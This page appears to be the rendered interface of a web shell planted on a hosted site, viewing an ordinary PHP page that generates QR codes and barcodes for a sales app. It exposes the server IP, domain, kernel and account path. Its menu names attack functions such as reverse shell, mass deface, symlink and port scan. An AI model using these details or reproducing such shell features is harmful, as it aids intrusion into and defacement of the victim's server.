Tul xxx Tul
User / IP
:
216.73.217.33
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
vendefacil
/
views
/
reportes
/
Viewing: generador.php
<?php include_once 'views/templates/header.php'; ?> <link rel="stylesheet" href="<?php echo BASE_URL; ?>assets/bundles/select2/css/select2.min.css"> <link rel="stylesheet" href="<?php echo BASE_URL; ?>assets/bundles/select2/css/select2-bootstrap4.css"> <style> /* Corregir texto blanco en select2 */ .select2-container--bootstrap4 .select2-selection--single .select2-selection__rendered { color: #495057 !important; line-height: 35px !important; text-align: left !important; } .select2-container .select2-selection--single { height: 38px !important; text-align: left !important; } .select2-results__option { color: #2b2b2b !important; text-align: left !important; } .select2-container--bootstrap4 .select2-results__option--highlighted[aria-selected] { color: #ffffff !important; background-color: #28a745 !important; } .select2-search__field { color: #495057 !important; background-color: #ffffff !important; } .select2-container { text-align: left !important; } </style> <div class="card card-primary"> <div class="card-header"> <h4>Generador de Códigos QR y de Barras</h4> </div> <div class="card-body"> <div class="row"> <div class="col-md-6 mb-4"> <form id="formGenerador"> <div class="form-group mb-3"> <label class="form-label font-weight-bold" for="tipo_codigo">Tipo de Código</label> <select class="form-control" id="tipo_codigo" name="tipo_codigo"> <option value="qr">Código QR</option> <option value="barcode">Código de Barras ( CODE128 )</option> </select> </div> <div class="form-group mb-3 d-none" id="grupo_estandar"> <label class="form-label font-weight-bold" for="estandar_barra">Dígitos / Estándar de Barra</label> <select class="form-control" id="estandar_barra" name="estandar_barra"> <option value="CODE128">CODE-128 ( Alfanumérico Variable )</option> <option value="EAN13">13 Dígitos ( EAN-13 )</option> <option value="EAN8">7 / 8 Dígitos ( EAN-8 )</option> <option value="EAN5">5 Dígitos ( EAN-5 )</option> <option value="UPCA">11 / 12 Dígitos ( UPC-A )</option> <option value="UPCE">6 Dígitos ( UPC-E )</option> </select> </div> <div class="form-group mb-3"> <label class="form-label font-weight-bold" for="cantidad_pdf">Cantidad a Imprimir en PDF</label> <select class="form-control" id="cantidad_pdf" name="cantidad_pdf"> <option value="1">1 Unidad</option> <option value="2">2 Unidades</option> <option value="3">3 Unidades</option> <option value="4">4 Unidades</option> <option value="5">5 Unidades</option> <option value="7">7 Unidades</option> <option value="10" selected>10 Unidades</option> <option value="15">15 Unidades</option> <option value="20">20 Unidades</option> <option value="50">50 Unidades</option> <option value="100">100 Unidades</option> </select> </div> <div class="d-flex justify-content-end gap-2 mt-4"> <button type="submit" class="btn btn-primary me-2"><i class="fas fa-sync-alt me-1"></i>Generar Vista Previa</button> <button type="button" class="btn btn-danger" id="btnGenerarPdfForm"><i class="fas fa-file-pdf me-1"></i>Generar PDF</button> </div> </form> </div> <div class="col-md-6 text-center border-start d-flex flex-column align-items-center justify-content-center" style="min-height: 250px;"> <div class="p-4 border rounded shadow-sm bg-white" style="max-width: 320px; width: 100%;"> <div id="codigo_preview" class="d-flex align-items-center justify-content-center mb-3" style="min-height: 180px; min-width: 180px;"> <span class="text-muted">Selecciona las opciones y haz clic en Generar Vista Previa</span> </div> <div id="print_btn_container" class="d-none"> <button class="btn btn-success w-100 mb-2" onclick="imprimirCodigoGenerado()"><i class="fas fa-print me-1"></i>Imprimir Térmica</button> <button class="btn btn-danger w-100" id="btnDescargarPdfPreview"><i class="fas fa-file-pdf me-1"></i>Descargar PDF (Cuadrícula)</button> </div> </div> </div> </div> </div> </div> <!-- Nueva Sección para Cargas de PDFs de Inventario --> <div class="card card-success mt-4"> <div class="card-header bg-success text-white d-flex align-items-center"> <h4 class="mb-0 text-white"><i class="fas fa-file-pdf me-2"></i>Exportar Códigos QR del Inventario</h4> </div> <div class="card-body"> <p class="text-muted mb-4">Genera documentos PDF listos para imprimir con los códigos QR de tus productos activos en el sistema.</p> <div class="row"> <div class="col-md-6 mb-3 mb-md-0"> <div class="p-4 border rounded bg-white shadow-sm h-100 d-flex flex-column justify-content-between"> <div> <h5 class="font-weight-bold" style="color: #2e7d32 !important; font-size: 1.1rem;"><i class="fas fa-tag me-1"></i>QR de Producto Individual</h5> <p class="small text-muted mt-2">Selecciona un producto para generar su código QR en tamaño Carta listo para colgar o exhibir.</p> <div class="form-group mt-3 mb-3"> <label class="form-label font-weight-bold text-secondary small" for="select_producto_qr">Buscar Producto</label> <select class="form-control" id="select_producto_qr" style="width: 100%;"> <option value="">Escribe para buscar un producto...</option> <?php foreach ($data['productos'] as $p): ?> <option value="<?= $p['id']; ?>"><?= htmlspecialchars($p['descripcion'] . ' (' . ($p['codigo'] ?? 'S/C') . ')'); ?></option> <?php endforeach; ?> </select> </div> </div> <div class="mt-3"> <button type="button" id="btnDescargarQrIndividual" class="btn btn-success w-100 text-white"> <i class="fas fa-download me-1"></i>Descargar QR Individual (Carta PDF) </button> </div> </div> </div> <div class="col-md-6"> <div class="p-4 border rounded bg-white shadow-sm text-center h-100 d-flex flex-column justify-content-between"> <div> <h5 class="font-weight-bold" style="color: #1a569b !important; font-size: 1.1rem;"><i class="fas fa-book me-1"></i>Catálogo Completo de QRs</h5> <p class="small text-muted mt-2">Genera un documento A4 con una cuadrícula de todos tus productos, mostrando nombre, código, precio y QR.</p> </div> <div class="mt-3"> <a href="<?= BASE_URL . 'reportes/generarQrCatalogo'; ?>" target="_blank" class="btn btn-primary w-100 text-white"> <i class="fas fa-download me-1"></i>Descargar Catálogo A4 (PDF) </a> </div> </div> </div> </div> </div> </div> <!-- Nueva Sección para Historial de Generación --> <div class="card card-info mt-4"> <div class="card-header bg-info text-white d-flex align-items-center"> <h4 class="mb-0 text-white"><i class="fas fa-history me-2"></i>Historial de Códigos Generados</h4> </div> <div class="card-body"> <div class="table-responsive"> <table class="table table-bordered table-striped table-hover align-middle nowrap" style="width: 100%;" id="tbl_historial"> <thead class="bg-info text-white"> <tr> <th>FECHA</th> <th>TIPO</th> <th>VALOR / TEXTO</th> <th>ESTÁNDAR</th> <th>CANTIDAD</th> <th>USUARIO</th> <th>ACCIONES</th> </tr> </thead> <tbody> <?php if (!empty($data['historial'])): ?> <?php foreach ($data['historial'] as $h): ?> <tr> <td><?php echo htmlspecialchars($h['fecha']); ?></td> <td> <?php if ($h['tipo'] === 'qr'): ?> <span class="badge badge-primary">QR</span> <?php else: ?> <span class="badge badge-dark">Barras</span> <?php endif; ?> </td> <td><code class="text-dark"><?php echo htmlspecialchars($h['valor']); ?></code></td> <td><span class="badge badge-light"><?php echo htmlspecialchars($h['estandar']); ?></span></td> <td><span class="font-weight-bold"><?php echo htmlspecialchars($h['cantidad']); ?></span></td> <td><?php echo htmlspecialchars($h['usuario']); ?></td> <td> <button class="btn btn-sm btn-info text-white me-1" onclick="reimprimirTermica('<?php echo $h['tipo']; ?>', '<?php echo addslashes($h['valor']); ?>')" title="Imprimir Térmica"> <i class="fas fa-print"></i> </button> <button class="btn btn-sm btn-danger" onclick="descargarPdfHistorial('<?php echo $h['tipo']; ?>', '<?php echo addslashes($h['valor']); ?>', <?php echo $h['cantidad']; ?>, '<?php echo $h['estandar']; ?>')" title="Descargar PDF"> <i class="fas fa-file-pdf"></i> </button> </td> </tr> <?php endforeach; ?> <?php endif; ?> </tbody> </table> </div> </div> </div> <?php include_once 'views/templates/footer.php'; ?> <script src="<?php echo BASE_URL; ?>assets/bundles/select2/js/select2.min.js"></script> <script> const current_user_name = "<?php echo htmlspecialchars($_SESSION['nombre'] ?? 'Usuario'); ?>"; $(document).ready(function() { if (typeof $.fn.select2 !== 'undefined') { $('#select_producto_qr').select2({ theme: 'bootstrap4', placeholder: 'Escribe para buscar un producto...' }); } const btnDescargarQrIndividual = document.getElementById("btnDescargarQrIndividual"); if (btnDescargarQrIndividual) { btnDescargarQrIndividual.addEventListener("click", function() { const selectedId = $('#select_producto_qr').val(); if (!selectedId) { alertaPersonalizada('warning', 'Selecciona un producto para descargar su QR'); return; } const url = base_url + 'reportes/generarQrIndividual?id_producto=' + selectedId; window.open(url, '_blank'); }); } }); </script>
Coded With 💗 by
0x6ick